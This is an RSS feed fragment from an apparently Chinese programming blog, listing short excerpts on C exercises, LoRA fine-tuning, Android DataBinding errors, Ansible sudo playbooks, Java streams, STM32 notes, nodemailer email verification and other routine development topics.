      <description> 题目标题：奇偶分家 题目作者：陈越 浙江大学&#xA;给定N个正整数，请统计奇数和偶数各有多少个？&#xA;输入格式： 输入第一行给出一个正整N（≤1000）；第2行给出N个非负整数，以空格分隔。&#xA;输出格式： 在一行中先后输出奇数的个数、偶数的个数。中间以1个空格分隔。&#xA;输入样例： 9 88 74 101 26 15 0 34 22 77 输出样例： 3 6 思路：用for循环把整数读入到变量num，每次判断num%2的值，若num%2 == 0，说明当前num时偶数，给偶数的计数递增1；否则num是奇数，给奇数的计数递增1。&#xA;代码1：&#xA;#include &amp;lt;stdio.h&amp;gt; int main () { int N,i,num,cnt1=0,cnt2=0; scanf(&#34;%d&#34;,&amp;amp;N); for (i = 0; i &amp;lt; N; i++) { scanf(&#34;%d&#34;, &amp;amp;num); if (num%2 == 0) cnt2++; else cnt1++; } printf(&#34;%d %d&#34;, cnt1, cnt2); return 0; } 更多PTA题目的的参考代码，可以在下面的小程序里找到哦 </description>
    </item>
    <item>
      <title>LoRA 是如何工作的？</title>
      <link>https://bchobby.github.io/posts/d4b79b346ff58a510ae42846a61417f4/</link>
      <pubDate>Mon, 16 Oct 2023 08:26:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4b79b346ff58a510ae42846a61417f4/</guid>
      <description>概述 纯笔记&#xA;LoRA的原理 LoRA其实是对稳定扩散模型最关键的部分进行了微小的改变。&#xA;这个关键的部分叫：cross-attention layers – 交叉注意力层。&#xA;研究人员发现，对这关键部分进行微调就足以实现良好的训练。&#xA;上面黄色部分，QKV 部分就是：交叉注意力层。&#xA;交叉注意力层里排列着权重，这些权重成矩阵的形式排列。就像Excel表格一样。&#xA;LoRA模型通过将权重添加到这些矩阵中来微调模型。&#xA;LoRA模型文件如何才能更小？ LoRA 的技巧是将矩阵分解为两个较小的（低秩）矩阵。通过这样做，它可以存储更少的数字。让我们用下面的例子来说明这一点：&#xA;假设该模型有一个包含 1000 行和 2000 列的矩阵。模型文件中需要存储 2,000,000 个数字 (1000 x 2000)。 LoRA 将矩阵分解为 1000×2 矩阵和 2×2000 矩阵。这只有 6,000 个数字 (1000 x 2 + 2 x 000)，少了 333 倍。这就是 LoRA 文件小得多的原因。&#xA;LoRA 将一个大矩阵分解为两个小的低秩矩阵。&#xA;在这个例子中，矩阵的秩为2。它比原始维度低得多，因此称为低秩矩阵。秩可以低至为1。&#xA;但这样的做有什么害处吗？研究人员发现，在交叉注意力层中这样做并不会影响微调的能力。所以没问题。&#xA;总结 LoRA就是对cross-attention layers – 交叉注意力层，进行了微调。微调的关键点就是调整权重，并使用低秩矩阵替换原来的高秩矩阵。 参考地址：&#xA;https://stable-diffusion-art.com/lora/#What_are_LoRA_models</description>
    </item>
    <item>
      <title>kibana系列：Kibana进程查找</title>
      <link>https://bchobby.github.io/posts/675119e3726a071942db6139fa03c1df/</link>
      <pubDate>Mon, 16 Oct 2023 03:45:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/675119e3726a071942db6139fa03c1df/</guid>
      <description> netstat -tunlp|grep 5601 查看端口占用情况&#xA;[root@node1 ~]# netstat -tlnp |grep 5601 tcp 0 0 192.168.56.10:5601 0.0.0.0:* LISTEN 1536/bin/../node/bi ps aux | grep node 查看node进程&#xA;kibana是使用node.js写的，所以进程在node中 </description>
    </item>
    <item>
      <title>C&#43;&#43; 什么时候用`.template` 和 `::template`</title>
      <link>https://bchobby.github.io/posts/bacf57b58c6ed96eacdf9227508231db/</link>
      <pubDate>Mon, 16 Oct 2023 01:18:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bacf57b58c6ed96eacdf9227508231db/</guid>
      <description>C++ 什么时候用.template 和 ::template 简单来说，就是你有一个未知类型T**（这个T本身就是模板）**&#xA;假设这个T是一个类，这个类里包含了一些模板函数或者模板结构体&#xA;你需要使用T. 或者 T:: 去调用他们，并且要显示指定模板参数&#xA;这个时候就需要用到.template 和 ::template&#xA;如果上面文字描述没懂？没关系，看示例就懂了&#xA;编译环境: gcc/g++ 13.2 -std=c++17&#xA;struct A { void Foo() { std::cout &amp;lt;&amp;lt; __PRETTY_FUNCTION__ &amp;lt;&amp;lt; std::endl; } template &amp;lt;typename T&amp;gt; void Foo() { std::cout &amp;lt;&amp;lt; __PRETTY_FUNCTION__ &amp;lt;&amp;lt; std::endl; } template &amp;lt;typename T&amp;gt; static void Goo() { std::cout &amp;lt;&amp;lt; __PRETTY_FUNCTION__ &amp;lt;&amp;lt; std::endl; } template &amp;lt;typename T&amp;gt; struct B { using type = T; void Foo() { std::cout &amp;lt;&amp;lt; __PRETTY_FUNCTION__ &amp;lt;&amp;lt; std::endl; } template &amp;lt;typename U&amp;gt; void Foo() { std::cout &amp;lt;&amp;lt; __PRETTY_FUNCTION__ &amp;lt;&amp;lt; std::endl; } }; struct C { void Foo() { std::cout &amp;lt;&amp;lt; __PRETTY_FUNCTION__ &amp;lt;&amp;lt; std::endl; } }; }; template &amp;lt;typename T&amp;gt; struct Test { void Fun(T t) { t.</description>
    </item>
    <item>
      <title>DataBinding使用报错</title>
      <link>https://bchobby.github.io/posts/98a9943cb9edc5624b61c3baf51ab039/</link>
      <pubDate>Mon, 16 Oct 2023 00:36:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/98a9943cb9edc5624b61c3baf51ab039/</guid>
      <description> val dataBinding = DataBindingUtil.setContentView&amp;lt;ActivityMainBinding&amp;gt;(this,R.layout.activity_main) 报错一：&#xA;Unresolved reference: ActivityMainBinding 首先你要知道一个概念，ActivityMainBinding是DataBinding中的一种视频绑定，通过activity_main.xml和此文件对应，即activity_main.xml会对应生成文件ActicityMainBinding.java文件，既然是视图绑定，就要看下你的配置文件是否写对了？&#xA;android { ... buildFeatures { //这个引用,可以引入DataBindingUtil类 //功能：数据绑定！ dataBinding = true //这个引入,才能引入ActivityMainBinding (这个才是视图绑定!!!) //功能：视图绑定！ //没有视图绑定，是不会自动编译生成ActivityMainBinding.java类的 viewBinding = true } } 报错二：&#xA;val dataBinding = DataBindingUtil.setContentView&amp;lt;ActivityMainBinding&amp;gt;(this,R.layout.activity_main)&#xA;下划线位置报错：&#xA;Type argument is not within its bounds.&#xA;Expected:&#xA;ViewDataBinding!&#xA;Found:&#xA;ActivityMainBinding!&#xA;意思是：本来系统想要的是ViewDataBinding类，你给我的是ActivityMainBinding类。故，你要在activity_main.xml布局文件的根儿上添加&amp;lt;layout&amp;gt;&amp;lt;/layout&amp;gt;&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;utf-8&#34;?&amp;gt; &amp;lt;layout xmlns:android=&#34;http://schemas.android.com/apk/res/android&#34; xmlns:app=&#34;http://schemas.android.com/apk/res-auto&#34; xmlns:tools=&#34;http://schemas.android.com/tools&#34;&amp;gt; &amp;lt;androidx.constraintlayout.widget.ConstraintLayout android:layout_width=&#34;match_parent&#34; android:layout_height=&#34;match_parent&#34; tools:context=&#34;.MainActivity&#34;&amp;gt; &amp;lt;TextView android:layout_width=&#34;wrap_content&#34; android:layout_height=&#34;wrap_content&#34; android:text=&#34;Hello World!&#34; app:layout_constraintBottom_toBottomOf=&#34;parent&#34; app:layout_constraintEnd_toEndOf=&#34;parent&#34; app:layout_constraintStart_toStartOf=&#34;parent&#34; app:layout_constraintTop_toTopOf=&#34;parent&#34; /&amp;gt; &amp;lt;/androidx.constraintlayout.widget.ConstraintLayout&amp;gt; &amp;lt;/layout&amp;gt; </description>
    </item>
    <item>
      <title>图书管理系统（详细版免费）</title>
      <link>https://bchobby.github.io/posts/e74cc28a94578d030b8099dbd67eb341/</link>
      <pubDate>Sun, 15 Oct 2023 23:54:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e74cc28a94578d030b8099dbd67eb341/</guid>
      <description>目录&#xA;1、简单操作&#xA;2、按价格升序排序图书&#xA;3、按价格区间查找图书&#xA;4、根据指定书名，进行图书价格的修改&#xA;5、图书价格普调&#xA;6、查找最贵图书&#xA;7、 图书去重&#xA;8、完整代码&#xA;●此为数据结构与算法实现的练习。&#xA;该图书管理系统有以下十个功能：（链表）&#xA;0.退出&#xA;1. 图书的创建和输出&#xA;2. 新书入库（插入）&#xA;3. 旧书出库（删除）&#xA;4. 按书号查找图书&#xA;5. 按价格升序排序图书&#xA;6. 按价格区间查找图书&#xA;7. 根据指定书名，进行图书价格的修改&#xA;8. 图书价格普调&#xA;9. 查找最贵图书&#xA;10. 图书去重&#xA;【注】：功能 8.图书价格普调的含义为：计算所有图书的平均价格，将所有低于平均价格的图书价格提高20%，所有高于或等于平均价格的图书价格提高10%，最后逐行输出价格修改后的全部图书信息。&#xA;1、简单操作 对于单链表而言，以下几个操作是基本且常见的：&#xA;● 构造一个空的单链表&#xA;● 使用头插法或者尾插法创建单链表&#xA;● 元素的查找（查找第 i 个元素 / 查找值为 e 的元素 ）&#xA;● 单链表的插入&#xA;● 单链表的删除&#xA;以上的操作即满足了图书管理系统里的功能1、2、3、4。&#xA;1、构造一个空的单链表：&#xA;Status InitList_L(LinkList &amp;amp;L) { //构造一个空的单链表L L = new LNode; //生成新结点作为头结点，用头指针L指向头结点 L-&amp;gt;next = NULL; //头结点的指针域置空 return OK; } 2、使用头插法或者尾插法创建单链表</description>
    </item>
    <item>
      <title>ansible系列： playbook 普通用户切换到超级管理员root执行命令</title>
      <link>https://bchobby.github.io/posts/ec85543f130f66d296b8a981b76feb44/</link>
      <pubDate>Sun, 15 Oct 2023 22:48:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ec85543f130f66d296b8a981b76feb44/</guid>
      <description> 注意：nio4444 用户在/etc/sudoers已经配置了“nio4444 ALL=(ALL) NOPASSWD: ALL”&#xA;---&#xA;- hosts: all&#xA;remote_user: nio4444 gather_facts: No become: yes #表示是否允许用户切换&#xA;become_method: sudo #表示切换用户的方式，有su/sudo/pbrun等方式，默认是sudo方式&#xA;become_user: root #表示要切换到哪个用户，即目标用户&#xA;tasks:&#xA;- name: &#34;create a test dir&#34;&#xA;shell: /bin/sh -c &#39;mkdir -p /root/testuser&#39; </description>
    </item>
    <item>
      <title>并行Stream的性能测试</title>
      <link>https://bchobby.github.io/posts/fcd69ec3118edfbd60a18f3b6f004a62/</link>
      <pubDate>Sun, 15 Oct 2023 21:57:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fcd69ec3118edfbd60a18f3b6f004a62/</guid>
      <description>final long count = 200_000_000; Random random = new Random(); //创建2亿条的list List&amp;lt;Integer&amp;gt; list = Stream.generate(() -&amp;gt; random.nextInt(20)) .limit(count) .collect(Collectors.toList()); // 顺序处理 long startTime = System.currentTimeMillis(); list.stream() .map(n -&amp;gt; n * 2).forEach(e -&amp;gt; { }); long endTime = System.currentTimeMillis(); System.out.println(&#34;顺序处理耗时：&#34; + (endTime - startTime) + &#34;ms&#34;); // 并行处理 startTime = System.currentTimeMillis(); list.parallelStream() .map(n -&amp;gt; n * 2) .forEach(e -&amp;gt; { }); endTime = System.currentTimeMillis(); System.out.println(&#34;并行处理耗时：&#34; + (endTime - startTime) + &#34;</description>
    </item>
    <item>
      <title>STM32 ---- 再次学习STM32F103C8T6/STM32F409IGT6</title>
      <link>https://bchobby.github.io/posts/13c25f4312458c475569f9d2d008f019/</link>
      <pubDate>Sun, 15 Oct 2023 21:25:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/13c25f4312458c475569f9d2d008f019/</guid>
      <description>目录&#xA;一、环境搭建及介绍&#xA;关于STM32基础介绍&#xA;新建工程&#xA;外设案例&#xA;LED流水灯&#xA;蜂鸣器&#xA;上拉电阻和下拉电阻知识&#xA;电压比较器&#xA;c语言基础知识 类型、结构体、枚举&#xA;类型int8_t int16_t int32_t&#xA;宏替换 #define 和typedef用法 结构体两种填充方法 和 命名规则&#xA;枚举用法&#xA;常用配置&#xA;输入输出模式&#xA;GPIO常用库函数&#xA;中断函数&#xA;模块化编程 延时函数 System&#xA;LED函数 Hardwore&#xA;按键函数 Hardwore&#xA;蜂鸣器函数 Hardwore&#xA;震动模块 Hardwore&#xA;OLED IIC模块Hardwore&#xA;调试方法&#xA;中断系统&#xA;概念：&#xA;NVIC中断控制寄存器结构 NVIC分组 抢占优先级和响应优先级​编辑&#xA;中断配置 --代码-----------------&#xA;两个中断时&#xA;定时器&#xA;定时器类型&#xA;定时器时基----基本定时器&#xA;通用定时器时钟输入&#xA;​编辑 高级定时器​编辑&#xA;代码部分-----------------------------&#xA;定时器 ---- PWM&#xA;PWM控制呼吸灯 ----------------&#xA;PWM控制SG90舵机----------------&#xA;PWM驱动电机模块&#xA;输入捕获测频率&#xA;输入捕获测占空比&#xA;输入捕获编码器计数&#xA;一、环境搭建及介绍 kile4 开发51单片机（内置芯片包）、kile_v5开发STM32手动添加芯片包、如果要开发51许把51的芯片包放在kile5中 、通过注册机key来破解&#xA;对应STM芯片包</description>
    </item>
    <item>
      <title>Java课程设计——图书管理系统</title>
      <link>https://bchobby.github.io/posts/53c3251d09eb0a9eed347f1748c06d7f/</link>
      <pubDate>Sun, 15 Oct 2023 13:47:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/53c3251d09eb0a9eed347f1748c06d7f/</guid>
      <description>文章目录 一、需求分析二、技术介绍2.1相关技术2.2开发环境 三、功能实现1、登录2、图书管理2.1图书列表2.2添加图书2.3修改图书信息2.4查询图书信息 3、用户管理3.1借阅图书3.2修改借阅信息3.3归还图书 4、退出系统 四、部分代码实现获取源码 文章最下方获取源码！！！&#xA;文章最下方获取源码！！！&#xA;文章最下方获取源码！！！&#xA;一、需求分析 1、实现登录基本逻辑&#xA;2、实现登录后对图书的管理，包括增、删、改、查&#xA;3、实现登录后对用户的管理，包括增、删、改、查&#xA;4、用户可以借阅处于空闲状态的图书，被借阅后的图书不能再被其他用户借阅，用户可以归还图书，归还后的图书可以再次被借阅&#xA;二、技术介绍 2.1相关技术 Spring + SpringMVC + MyBatis（SSM）Jsp + JQueryMysql 2.2开发环境 idea + tomcat&#xA;三、功能实现 1、登录 2、图书管理 2.1图书列表 2.2添加图书 2.3修改图书信息 2.4查询图书信息 3、用户管理 3.1借阅图书 3.2修改借阅信息 3.3归还图书 4、退出系统 四、部分代码实现 BookMapper.java&#xA;package com.codejams.mapper; import com.baomidou.mybatisplus.core.mapper.BaseMapper; import com.codejams.domain.Book; import org.apache.ibatis.annotations.Mapper; import java.util.List; public interface BookMapper{ List&amp;lt;Book&amp;gt; findAllBook(); Book findBookById(int id); void update(Book book); void save(Book book); void delete(int id); List&amp;lt;Book&amp;gt; findBookByCondition(String condition); void changeStatusToLeisure(String name); void changeStatusToNotLeisure(String name); } BorrowerController.</description>
    </item>
    <item>
      <title>HistCite安装与使用</title>
      <link>https://bchobby.github.io/posts/75ae64c90bb1c48011d7a4ea71122f16/</link>
      <pubDate>Sun, 15 Oct 2023 13:25:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/75ae64c90bb1c48011d7a4ea71122f16/</guid>
      <description> 参考：&#xA;文献阅读利器--HistCite安装与使用_histcite下载安装-CSDN博客&#xA;Histcite使用-CSDN博客&#xA;科研文献工具Histcite介绍-CSDN博客 </description>
    </item>
    <item>
      <title>邮箱发送验证码（nodemailer）</title>
      <link>https://bchobby.github.io/posts/466ade41ffd045f2ca1e96434c1d4a6b/</link>
      <pubDate>Sun, 15 Oct 2023 09:15:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/466ade41ffd045f2ca1e96434c1d4a6b/</guid>
      <description>邮箱发送验证码（nodemailer） 前言：后端实现1、前期准备2、安装nodemailer3、代码实现4、效果图 前言： 想要实现向邮箱发送验证码功能，先来简单地梳理一下思路：&#xA;前端用正则表达式简单验证下邮箱格式的正确性向后端发送请求，后端随机生成验证码，并根据前端传递的邮箱发送验证码 当然实际开发中当然没有那么简单，根据实际状况书写。&#xA;本文主要讲述后端实现步骤，前端挺容易的，自己研究一下吧。&#xA;后端实现 1、前期准备 以163邮箱为例（若没有邮箱，先注册一个新邮箱），先登录，然后点击设置，选择POP3/SMTP/IMAP&#xA;再开启服务&#xA;2、安装nodemailer npm i nodemailer 官方地址：https://nodemailer.com&#xA;3、代码实现 新建 utils 文件夹，该文件夹下新建mailer.js&#xA;const express = require(&#39;express&#39;); //创建路由对象 const router = express.Router(); // 导入邮件路由处理函数对应的模块 const mail_handler = require(&#34;./mailHandler.js&#34;); //挂载具体的路由 router.get(&#39;/mailer/sendmail&#39;, mail_handler) 同级目录下新建mailHandler.js，该文件用于存放实现发送验证码的函数&#xA;// 引入数据库 const db = require(&#34;../db/index&#34;); // 引入bryptjs对验证码进行加密 const bcrypt = require(&#34;bcryptjs&#34;); // 邮件发送插件 let nodemailer = require(&#34;nodemailer&#34;); // 发送验证码函数 export.sendEmail = (req, res) =&amp;gt; { // 创建一个SMTP客户端对象 let transporter = nodemailer.</description>
    </item>
    <item>
      <title>vsc连接wsl安装vsc时遇到权限问题的解决方案</title>
      <link>https://bchobby.github.io/posts/0fe99803ecde61e6539b4d35ea999357/</link>
      <pubDate>Sat, 14 Oct 2023 23:44:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0fe99803ecde61e6539b4d35ea999357/</guid>
      <description>当点击左下角的连接&#xA;遇到下面的权限提示时&#xA;mkdir: cannot create directory ‘/home/xxx(用户名)/.vscode-server’: Permission denied&#xA;可以新建文件 /etc/wsl.conf，并拷贝如下内容&#xA;# Automatically mount Windows drive when the distribution is launched [automount] # Set to true will automount fixed drives (C:/ or D:/) with DrvFs under the root directory set above. Set to false means drives won&#39;t be mounted automatically, but need to be mounted manually or with fstab. enabled = true # DrvFs-specific options can be specified. options = &#34;</description>
    </item>
    <item>
      <title>分布式链路追踪如何跨线程</title>
      <link>https://bchobby.github.io/posts/869a1e3cd5f1633d7bdcb501ba44a796/</link>
      <pubDate>Sat, 14 Oct 2023 19:15:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/869a1e3cd5f1633d7bdcb501ba44a796/</guid>
      <description>背景 我们希望实现全链路信息，但是代码中一般都会异步的线程处理。&#xA;解决思路 我们可以对以前的 Runable 和 Callable 进行增强。&#xA;可以使用 ali 已经存在的实现方式。&#xA;TransmittableThreadLocal (TTL) 解决异步执行时上下文传递的问题&#xA;核心的实现思路如下：&#xA;1）异步执行前，把当前线程的 MDC 信息放入执行对象中。&#xA;2）异步执行时，把执行对象中的信息放入 MDC 等信息。&#xA;3) 异步执行后，清空执行对象。&#xA;问题 Runable 和 Callable 只是接口，没有额外信息，所以需要进行增强。&#xA;实现方式 接口定义 package com.github.houbb.heaven.support.concurrent.context; import java.util.Map; /** * 跨线程处理类 * * @since 0.3.0 */ public interface CrossThreadProcessor { /** * 初始化上下文 * @param contextMap 上下文 */ void initContext(Map&amp;lt;String, Object&amp;gt; contextMap); /** * 执行之前 * @param contextMap 上下文 */ void beforeExecute(Map&amp;lt;String, Object&amp;gt; contextMap); /** * 执行之后 * @param contextMap 上下文 */ void afterExecute(Map&amp;lt;String, Object&amp;gt; contextMap); } 对可执行接口进行增强 package com.</description>
    </item>
    <item>
      <title>【小收获】关于数组的整体赋值问题</title>
      <link>https://bchobby.github.io/posts/d95d0c93ec19257d354c6f90656a7bd6/</link>
      <pubDate>Sat, 14 Oct 2023 18:55:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d95d0c93ec19257d354c6f90656a7bd6/</guid>
      <description>一、数组赋值有两种情况： （1）声明的同时整体赋值&#xA;int a[5]={1,2,3,4,5}; (2) 声明后再通过索引单个赋值&#xA;int a[5]; a[0]=1; a[1]=2; a[2]=3; a[3]=4; a[4]=5; 注意！在c/c++中不允许将数组声明和整体赋值分开！&#xA;int a[5]; a={1,2,3,4,5}; 如果像上面这样的话则会出现以下两个错误：&#xA;第一个错误：因为C/C＋＋中，数组名就是一个指针常量，这个指针常量里面存储的是数组第一个内存的地址，而常量是不能被赋值的&#xA;第二个错误 ：因为一个指针只能被赋予一个值</description>
    </item>
    <item>
      <title>0048__STM32中文参考手册_V10.pdf</title>
      <link>https://bchobby.github.io/posts/1d47b112f523e0e4b5149ac071d01698/</link>
      <pubDate>Sat, 14 Oct 2023 10:08:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d47b112f523e0e4b5149ac071d01698/</guid>
      <description>百度网盘-文档在线预览</description>
    </item>
    <item>
      <title>Python实现检查安卓设备是否运行monkey并杀掉进程</title>
      <link>https://bchobby.github.io/posts/d331ebb3df00d3724fac2230235fb880/</link>
      <pubDate>Fri, 13 Oct 2023 22:02:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d331ebb3df00d3724fac2230235fb880/</guid>
      <description>Python实现检查安卓设备是否运行monkey并杀掉进程&#xA;实测有效：&#xA;import subprocess udId = &#34;ASDF&#34; def run_command(cmd): process = subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True) output, error = process.communicate() return output.decode().strip() def check_and_kill_pid(udId): #read run_command(f&#39;adb -s {udId} shell ps &amp;gt; shellps.log&#39;) #check with open(&#39;shellps.log&#39;, &#39;r&#39;) as file: for line in file: if &#39;com.android.commands.monkey&#39; in line: apk_pin = line.split()[1] break else: apk_pin = None #kill if apk_pin: print(f&#34;Monkey process PID : {apk_pin}&#34;) run_command(f&#39;adb -s {udId} shell kill {apk_pin}&#39;) print(&#34;Monkey test end.&#34;) else: print(&#34;</description>
    </item>
    <item>
      <title>Springboot 项目的服务器部署与发布</title>
      <link>https://bchobby.github.io/posts/934bd2b9e4c3bf62f1a13084804abebb/</link>
      <pubDate>Fri, 13 Oct 2023 18:23:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/934bd2b9e4c3bf62f1a13084804abebb/</guid>
      <description>Springboot 项目的服务器部署与发布 本文旨在记录第一次将Springboot项目部署到服务器并发布的过程、遇到的问题及解决办法。&#xA;一、在IDEA中将项目打包 设置访问端口号 在application.yml这个文件中加入（端口多少由自己设置）&#xA;利用idea打包 右侧边栏中点击Maven，打开lifecycle，找到其中的package选项，双击。&#xA;当看到BUILD SUCCESS说明已经打包成功了。&#xA;jar包保存在项目target文件夹中&#xA;二、 连接服务器 租用云服务器 市面上有许许多多的服务器，可自行选择。这里以Google cloud云服务器为例介绍。&#xA;1、访问 Google cloud 官网 https://cloud.google.com/，点击右上角“Start Free”按钮。 2、登录谷歌帐号 使用谷歌帐号登录，没有的话注册一个。&#xA;2019年，国家/地区选项栏已取消了“中国”选项，这里我们可以随便选一个，比如香港或者台湾。&#xA;3、填写注册信息 填写注册信息，包括姓名、地址、联系方式等。&#xA;绑定支持双币个人信用卡，会扣除1美元作为卡验证费用，验证通过后会原路返还。&#xA;4、完成注册 填写完上述资料后，点击“START MY FREE TRIAL”按钮，便提示已成功注册。获得 300 美元的赠金，一年内有效，而且承诺如果赠金用完，不会主动扣费。&#xA;创建VM实例 1、选择 “Computer Engine” 点击菜单中的 Compute Engine，或者直接点击热门产品栏中的“Compute Engine”&#xA;2、选择创建 VM 实例 点击创建按钮，来创建一个 VM 实例。&#xA;3、填写机器配置 填写名称，选择区域，机器类型等内容，右侧会显示每月的费用，注意累计费用不要超出赠金总额。这里选择了 1 个共享 vCPU + 1.7 GB 内存。&#xA;4、启动磁盘 选择启动磁盘，可以修改磁盘大小和类型，还可以选择操作系统。&#xA;5、填写网络接口信息 填写网络接口信息，外部 IP 选择固定 IP。&#xA;6、完成创建 确认机器配置信息后，点击创建按钮完成 VM 实例的创建。</description>
    </item>
    <item>
      <title>Java新特性Stream流详解</title>
      <link>https://bchobby.github.io/posts/22e11888d17eb94231672664ac76910a/</link>
      <pubDate>Fri, 13 Oct 2023 18:00:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/22e11888d17eb94231672664ac76910a/</guid>
      <description>一、概述&#xA;Stream流是Java 8&#xA;API添加的一个新的抽象，以一种声明性方式处理数据集合（侧重对于源数据计算能力的封装，并且支持序列与并行两种操作方式）。&#xA;Stream流是对集合（Collection）对象功能的增强，与Lambda表达式结合，可以提高编程效率、间接性和程序可读性。&#xA;二、如何使用Stream流？&#xA;1.创建Stream流。&#xA;（1）Stream创建。&#xA;Stream&amp;lt;String&amp;gt; stream1 = Stream.of(&#34;one&#34;,&#34;two&#34;); (2) Collection集合创建。&#xA;List&amp;lt;String&amp;gt; list = Arrays.asList(&#34;one&#34;,&#34;two&#34;); Stream&amp;lt;String&amp;gt; stream = list.stream(); // 串行Stream Stream&amp;lt;String&amp;gt; parallelStream = list.parallelStream(); // 并行Stream （3）Array数组创建&#xA;String[] strArr = {&#34;one&#34;,&#34;two&#34;}; Stream arrayStream = Arrays.stream(strArr); (4) 文件创建&#xA;try { Stream&amp;lt;String&amp;gt; fileStream = Files.lines(Paths.get(&#34;file.txt&#34;), Charset.defaultCharset()); } catch (IOException e) { e.printStackTrace(); } (5) 函数创建&#xA;generator:&#xA;Stream&amp;lt;String&amp;gt; stream = Stream.generate(()-&amp;gt;&#34;a&#34;).limit(2); generate方法接受一个参数，方法参数类型为Supplier ，由它为流提供值。generate生成的流也是无限流，因此通过limit对流进行了截断。&#xA;iterator：&#xA;Stream&amp;lt;Integer&amp;gt; iterateStream = Stream.iterate(0, s -&amp;gt; s + 2).</description>
    </item>
    <item>
      <title>用element-ui中的up-load组件实现简单的图片上传到本地然后回显（从前端到后端）</title>
      <link>https://bchobby.github.io/posts/a63ffe184ec89a148026768bf698d2db/</link>
      <pubDate>Fri, 13 Oct 2023 16:06:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a63ffe184ec89a148026768bf698d2db/</guid>
      <description>方式一：直接上传（auto-upload=“true”） 一：前端样式以及效果：&#xA;前端样式代码如下：&#xA;&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-upload action=&#34;api/admin/file/uploadfoodpicture&#34; list-type=&#34;picture-card&#34; auto-upload=&#34;true&#34; :on-success=&#34;sucuploadimg&#34;&amp;gt; &amp;lt;i class=&#34;el-icon-plus&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;/el-upload&amp;gt; &amp;lt;img :src=&#34;imgUrl&#34; alt=&#34;图&#34; /&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { data() { return { imgUrl: &#39;&#39; }; }, methods: { sucuploadimg(res) { this.imgUrl = res.data; } } } &amp;lt;/script&amp;gt; 二：后端Controller层&#xA;@RestController @RequestMapping(&#34;/admin/file&#34;) @Slf4j @Api(value = &#34;文件相关接口&#34;,tags = {&#34;文件相关接口操作接口&#34;}) public class filecontroller { @PostMapping(&#34;/uploadfoodpicture&#34;) @ApiOperation(&#34;上传食物图片&#34;) public Result uploadFoodPicture(@RequestBody MultipartFile file) throws Exception { //获取图片原文件名 log.info(&#34;启动图片上传功能&#34;); String url= FileUtil.</description>
    </item>
    <item>
      <title>mac jdk的环境变量路径，到底在哪里？</title>
      <link>https://bchobby.github.io/posts/1218d857c5d29be1282b3a1abb85bf74/</link>
      <pubDate>Fri, 13 Oct 2023 10:47:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1218d857c5d29be1282b3a1abb85bf74/</guid>
      <description> 在mac 电脑中，直接执行&#xA;java -version 显示Jdk的版本为1.8&#xA;然后打印Java环境变量&#xA;在终端中执行&#xA;echo $JAVA_HOME 1、情况一：发现环境变量是空的&#xA;我草，没配置环境变量怎么能使用Java ，和查看jdk版本&#xA;2、情况二：环境变量为：/Library/Internet Plug-Ins/JavaAppletPlugin.plugin/Contents/Home&#xA;进入这个路径下面，查看真的有jdk吗？ 这两种情况，都说明Jdk的环境变量是配置错误的。&#xA;我们查看真实的jdk的安装路径&#xA;mac 的路径一般为：&#xA;/Library/Java/JavaVirtualMachines/&#xA;验证一下：&#xA;zhaohui@zhaohuideMacBook-Pro JavaVirtualMachines % cd /Library/Java/JavaVirtualMachines/ zhaohui@zhaohuideMacBook-Pro JavaVirtualMachines % ls jdk1.8.0_321.jdk 果然是这个路径。&#xA;然后我们再配置真实的JAVA_HOME 路径&#xA;export JAVA_HOME=/Library/Java/JavaVirtualMachines/jdk1.8.0_321.jdk/Contents/Home </description>
    </item>
    <item>
      <title>IDEA里面使用Git报错</title>
      <link>https://bchobby.github.io/posts/9c93693a8e76d252ccb258ca4f30b6e1/</link>
      <pubDate>Fri, 13 Oct 2023 10:45:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9c93693a8e76d252ccb258ca4f30b6e1/</guid>
      <description>项目场景： 提示：这里简述项目相关背景：&#xA;从码云上面克隆的项目,在IDEA里面不能更新和提交,以前IDEA里面Git是可以正常用的.&#xA;问题描述 提示：这里描述项目中遇到的问题：&#xA;更新失败 Invocation failed Server returned invalid Response. java.lang.RuntimeException: Invocation failed Server returned invalid Response. at git4idea.GitAppUtil.sendXmlRequest(GitAppUtil.java:22) at git4idea.http.GitAskPassApp.main(GitAskPassApp.java:56) Caused by: java.io.IOException: Server returned invalid Response. at org.apache.xmlrpc.LiteXmlRpcTransport.sendRequest(LiteXmlRpcTransport.java:242) at org.apache.xmlrpc.LiteXmlRpcTransport.sendXmlRpc(LiteXmlRpcTransport.java:90) at org.apache.xmlrpc.XmlRpcClientWorker.execute(XmlRpcClientWorker.java:72) at org.apache.xmlrpc.XmlRpcClient.execute(XmlRpcClient.java:194) at org.apache.xmlrpc.XmlRpcClient.execute(XmlRpcClient.java:185) at org.apache.xmlrpc.XmlRpcClient.execute(XmlRpcClient.java:178) at git4idea.GitAppUtil.sendXmlRequest(GitAppUtil.java:19) ... 1 more unable to read askpass response from 原因分析： 提示：这里填写问题的分析：&#xA;解决方案： 提示：这里填写该问题的具体解决方案：&#xA;勾选了下面的选项就好了</description>
    </item>
    <item>
      <title>Java语法基础案例（二）</title>
